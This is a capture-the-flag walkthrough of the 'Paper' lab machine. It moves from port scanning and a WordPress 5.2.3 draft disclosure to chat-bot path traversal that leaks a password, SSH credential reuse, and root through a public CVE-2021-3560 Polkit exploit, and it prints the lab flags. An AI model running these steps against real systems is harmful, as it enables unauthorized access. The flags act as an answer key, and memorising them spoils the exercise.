Machine Information

Name: Paper
Difficulty: Easy
Operating System: Linux
Target IP: 10.129.136.31

Initial Enumeration

Set the target IP:

export IP=10.129.136.31

Run a full TCP port scan:

nmap -p- --min-rate 5000 -Pn $IP -oN allports.txt

The scan identified three open ports:

22/tcp   SSH
80/tcp   HTTP
443/tcp  HTTPS

Service Enumeration

Run default Nmap scripts and version detection against the open ports:

nmap -sC -sV -Pn -p22,80,443 $IP -oN services.txt

Discovered Services

22/tcp   OpenSSH 8.0
80/tcp   Apache httpd 2.4.37
443/tcp  Apache httpd 2.4.37 over TLS

The Apache server is running on CentOS with the following components:

Apache/2.4.37
OpenSSL/1.1.1k
mod_fcgid/2.3.9

Both HTTP and HTTPS display the default CentOS Apache test page:

HTTP Server Test Page powered by CentOS

The server allows the HTTP TRACE method on ports 80 and 443.

The TLS certificate on port 443 contains:

Common Name: localhost.localdomain
Subject Alternative Name: localhost.localdomain
Organization: Unspecified
Country: US

The certificate is expired:

Valid From: 2021-07-03
Valid Until: 2022-07-08

Initial Findings

• SSH is available through OpenSSH 8.0.
• HTTP and HTTPS are served by Apache on CentOS.
• Both web ports currently return the default Apache test page.
• The TLS certificate only references localhost.localdomain.
• The intended website may depend on name-based virtual hosting.
• Virtual-host and hostname enumeration should be performed next.

Virtual Host Discovery

The HTTP headers exposed an internal hostname:

curl -I http://$IP

X-Backend-Server: office.paper

Add it locally:

echo "$IP office.paper" | sudo tee -a /etc/hosts

Requesting the hostname returned a WordPress site running PHP 7.2.24:

curl -I http://office.paper

HTTP/1.1 200 OK
X-Powered-By: PHP/7.2.24
Link: <http://office.paper/index.php/wp-json/>

WordPress Identification

Page assets revealed WordPress version 5.2.3 and the active construction-techup theme:

WordPress: 5.2.3
Theme: construction-techup 1.1

WordPress Draft Disclosure

WordPress 5.2.3 exposed unpublished drafts through the static parameter:

curl -s "http://office.paper/?static=1"

A draft revealed the employee chat hostname and private registration URL:

http://chat.office.paper/register/8qozr226AhkCHZdyY

Recyclops Bot

The internal chat revealed a custom bot named recyclops. Its available commands include listing and retrieving files from Dwight’s Sales directory.

The bot can also be contacted through direct messages, which is useful because the discovered channel is read-only.

Recyclops Path Traversal

The bot’s Sales-directory restriction was bypassed using directory traversal:

recyclops list ../

This exposed Dwight’s home directory, including:

bot_restart.sh
hubot/
.ssh/
user.txt

Credential Disclosure

The Recyclops bot startup script sourced:

/home/dwight/hubot/.env

Using the path traversal flaw, the file was read:

recyclops file ../hubot/.env

This exposed the bot password:

recyclops : Queenofblad3s!23

The password may be reused by the dwight system account.

User Access

The Recyclops .env password was reused by the dwight Linux account:

ssh dwight@$IP

Password: Queenofblad3s!23

SSH access was obtained as:

dwight

The user flag was then retrieved:

cat ~/user.txt

8f9c15f6e314a50510896f273505285c

Privilege Escalation

sudo was unavailable for dwight, so local privilege escalation was investigated.

The system was running:

CentOS Linux 8
polkit-0.115-6.el8.x86_64

accounts-daemon was active, making the host vulnerable to CVE-2021-3560, a Polkit authentication bypass.

A public PoC was transferred to the target and executed:

python3 /tmp/polkit.py

The exploit created a privileged user named Ahmed, allowing escalation to root:

su ahmed
sudo su

Root access was confirmed:

[root@paper ~]#

The root flag was retrieved:

cat /root/root.txt

ab80fa6812f34d409338d85ec86070d9

Flags

User

8f9c15f6e314a50510896f273505285c

Root

ab80fa6812f34d409338d85ec86070d9

Attack Path

Nmap Enumeration
    ↓
HTTP Header Disclosure
    ↓
office.paper Virtual Host
    ↓
WordPress 5.2.3 Draft Disclosure
    ↓
chat.office.paper Registration URL
    ↓
Recyclops Bot
    ↓
Directory Traversal
    ↓
/home/dwight/hubot/.env
    ↓
Credential Reuse
    ↓
SSH as dwight
    ↓
CVE-2021-3560 Polkit Exploit
    ↓
Root

Summary

Paper was compromised through a chain of web application and local privilege escalation weaknesses. An HTTP response header revealed the office.paper virtual host, where WordPress 5.2.3 exposed unpublished drafts containing a private Rocket.Chat registration URL. The Recyclops bot was vulnerable to directory traversal, allowing access to its .env file and credentials reused by the dwight SSH account. Finally, CVE-2021-3560 was exploited to obtain root access.